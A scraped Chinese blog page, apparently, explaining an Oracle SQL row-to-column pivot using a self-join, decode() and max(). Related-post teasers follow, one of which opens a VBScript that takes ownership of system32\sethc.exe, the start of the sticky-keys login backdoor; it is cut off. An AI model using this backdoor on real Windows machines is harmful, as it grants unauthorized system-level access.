有意思的行列轉換

2021-05-21 20:08:35 字數 748 閱讀 9938

今天看見乙個帖子是這樣描述的

oracle中有一表tab

no    name

1      a

2      b

3      c

4      d

你寫一條sql語句顯示以下結果

ab  ac  ad  bc  bd  cd

答案:

create table test1(no number,name varchar2(20));

insert into values(1,'a');

......................

......................

思路是這樣的

首先:這個肯定是自表連線的了

因為 1 a 2 b

1 a 3 c

1 a 4 d

2 b 3 c

2 b 4 d

3 c 4 d

t1.no < t2.no

現在可以做行列轉換了

思路是根據 decode

從 res 集合中 取出a 列的資料 每次取乙個然後把取出的值放入每乙個decode()算乙個值,最後都算完max()

取出ab 然後decode 後 t1 下就是 ab,t2下就是null,t3-t7都是null

取出ac 然後decode 後 t1 是null t2下是bc,t3-t7都是null

以此類推 最後每列都執行max函式

有意思的話

1 要麼忍,要麼殘忍 2 下輩子我要做你的一顆牙,至少,我難受,你也會疼 3 心不動,則不痛 4 我們唯一的關係是沒有關係。5 你會流淚,並不代表真的慈悲 我會微笑,並不代表一切都好。6 孤單 是 你心裡面沒有人 寂寞 是 你心裡有的人卻不在身邊 7 冬天裡你給了我乙個夏天的夢 卻把我在春天叫醒了 ...

有意思的後門

dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...

有意思的number format

申明 這是個人原創,在cnblogs上也有,都是自己寫的所以放原創了。number format number,decimals,decimalpoint,separator 有四個引數,第乙個和第二個引數是必須的,第三個和第四個是可選項。但實際測試中第三個和第四個這兩個引數必須同時存在,也就是要麼...